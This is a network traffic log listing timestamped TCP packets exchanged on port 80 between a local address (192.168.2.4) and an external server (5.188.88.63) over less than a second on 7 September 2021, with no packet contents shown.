Sep 7, 2021 16:03:07.447774887 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.448704004 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.448725939 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.448781013 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.448807955 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.448829889 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.448884964 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.448924065 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.448931932 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.448942900 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.449748993 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.449809074 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.450181961 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.450197935 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.450227976 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.450262070 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.450283051 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.450309038 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.450351954 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.452992916 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.453087091 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.454668999 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.454701900 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.454722881 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.454936981 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.454950094 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.454982996 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.455014944 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.455044985 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.455068111 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.455095053 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.455140114 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.455157995 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.455180883 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.455204010 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.455229044 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.455259085 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.455288887 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.455306053 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.455310106 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.455323935 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.455334902 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.455360889 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.455383062 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.455400944 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.455425024 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.455456972 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.455483913 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.455503941 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.455524921 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.455542088 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.455559015 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.455575943 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.455598116 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.455622911 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.455631971 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.455655098 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.455677986 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.455688953 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.455712080 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.455724955 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.455749989 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.455776930 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.455800056 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.455826998 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.455852985 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.455864906 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.455869913 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.455893040 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.455921888 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.455945015 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.455967903 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.456003904 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.456016064 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.456022978 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.456049919 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.456058025 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.456068993 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.456098080 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.456125975 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.456151962 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.456175089 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.456198931 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.456208944 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.456232071 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.456254959 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.456264973 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.456270933 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.456295013 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.456329107 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.456362009 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.456389904 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.456403017 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.456410885 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.456430912 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.456454992 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.456480026 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.456516981 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.456521988 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.467817068 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.512984037 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.513015032 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.513076067 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.513103008 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.513204098 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.513225079 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.513235092 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.513283014 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.513322115 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.513346910 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.513374090 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.513391018 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.513396978 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.513421059 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.514087915 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.519110918 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.529850960 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.529881954 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.532041073 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.532143116 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.532166958 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.532188892 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.532213926 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.532238007 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.532259941 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.532283068 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.532305002 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.532325983 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.532336950 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.532362938 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.532383919 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.532406092 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.532430887 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.532454014 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.532458067 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.532466888 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.532490969 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.532512903 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.532536030 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.532543898 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.532547951 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.532568932 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.532591105 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.532615900 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.532639980 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.532660961 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.532682896 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.532687902 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.532692909 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.532701969 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.532727003 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.532751083 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.532773972 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.532798052 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.532809973 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.532814026 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.532835007 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.532857895 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.532882929 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.532905102 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.532915115 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.532918930 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.532938957 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.532959938 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.532982111 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.533008099 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.533010960 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.542335987 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.606197119 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.606251955 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.606291056 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.606331110 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.606369972 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.606386900 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.606405020 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.606409073 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.606420040 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.606448889 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.606487036 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.606511116 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.606535912 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.606579065 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.606616974 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.606657982 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.606661081 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.606664896 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.606698990 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.606738091 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.606780052 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.606820107 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.606827974 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.606832981 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.606868982 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.606911898 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.606950998 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.606956005 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.606992006 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.607033014 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.607070923 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.607081890 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.607085943 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.607110977 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.607191086 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.607230902 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.607268095 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.607280970 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.607285023 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.607309103 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.607347965 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.607395887 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.607439041 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.607445002 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.607449055 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.607477903 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.607517004 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.607547045 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.607557058 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.607594967 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.607634068 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.607671976 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.607683897 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.607688904 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.607731104 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.607780933 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.607820988 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.607858896 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.607897997 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.607917070 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.607922077 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.607935905 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.607985020 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.608027935 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.608067036 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.608077049 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.608081102 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.608105898 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.608145952 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.608182907 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.608194113 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.608196974 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.608222008 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.608261108 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.608309031 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.608351946 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.608405113 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.608416080 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.608422995 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.608453035 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.608495951 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.608535051 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.608546019 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.608551025 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.608573914 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.608614922 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.608653069 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.608691931 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.608695984 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.608700991 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.608730078 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.608778954 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.608823061 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.608861923 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.608872890 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.608877897 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.608901978 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.608941078 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.608978987 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.609018087 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.609029055 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.609033108 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.609056950 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.609105110 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.609148026 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.609185934 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.609231949 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.609236002 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.609261990 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.609302044 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.609340906 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.609380007 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.609416962 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.609432936 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.609437943 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.609457016 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.609496117 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.609543085 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.609586000 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.609592915 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.609599113 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.609626055 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.609663963 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.609704018 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.609741926 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.609755993 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.609760046 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.609781981 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.609819889 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.609867096 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.609869957 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.609873056 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.609910011 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.609949112 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.609988928 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.610028982 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.610065937 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.610085011 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.610090017 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.610105038 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.610143900 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.610193014 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.610224962 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.610232115 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.610235929 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.610275030 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.610315084 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.610330105 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.610354900 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.610384941 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.610393047 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.610601902 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.615585089 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.686183929 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.688116074 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.688148975 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.688175917 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.688201904 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.688226938 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.688226938 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.688235044 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.688252926 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.688277960 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.688293934 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.688307047 CEST	80	49772	5.188.88.63	192.168.2.4
